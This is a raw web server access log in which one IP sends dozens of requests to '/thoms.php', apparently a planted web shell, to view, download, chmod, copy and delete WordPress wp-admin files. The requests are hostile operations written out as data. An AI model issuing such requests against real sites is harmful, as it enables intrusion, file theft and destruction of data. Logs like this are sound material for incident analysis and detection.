45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /bossini.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /thoms.php?chmod=export.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 200 14049 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 200 13039 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcredits.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcredits.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 200 14385 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?dl=theme-install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?dl=site-health.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?chmod=widgets-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 200 12318 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?chmod=edit-comments.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?dl=admin-ajax.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?chmod=plugins.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /bossini.com.tw/wp-admin/maint/ HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:12 -0400] "GET /thoms.php?dl=ms-sites.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28969 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /thoms.php?dl=widgets.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /thoms.php?chmod=moderation.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /bossini.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /thoms.php?del=admin-post.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 200 13009 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /bossini.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /thoms.php?dl=profile.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /bossini.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ffreedoms.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ffreedoms.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 200 13070 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:13 -0400] "GET /bossini.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?dl=users.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=users.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /bossini.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?del=link-manager.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29000 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?dl=ms-themes.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29047 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?chmod=menu.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?chmod=options-discussion.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?dl=admin-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29016 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?chmod=load-styles.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?dl=upgrade.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /thoms.php?del=comment.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28951 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /bossini.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:14 -0400] "GET /bossini.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /thoms.php?dl=post-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /thoms.php?del=edit-comments.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28946 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /thoms.php?chmod=media-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /thoms.php?dl=options.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=options.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /thoms.php?chmod=authorize-application.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /thoms.php?del=widgets-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28995 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /bossini.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /thoms.php?dl=font-library.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29020 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmenu-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmenu-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?chmod=network.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?del=menu-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 200 13339 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?dl=edit-link-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28939 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?del=options-general.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29000 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 200 16232 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?del=admin-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29020 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?del=credits.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=credits.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?chmod=install-helper.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fload-scripts.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fload-scripts.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /thoms.php?del=freedoms.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:16 -0400] "GET /bossini.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 200 13489 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 200 12333 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?dl=index.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 200 12019 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?del=install-helper.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 200 12674 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?chmod=options-head.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 200 15900 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?dl=options-media.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /bossini.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
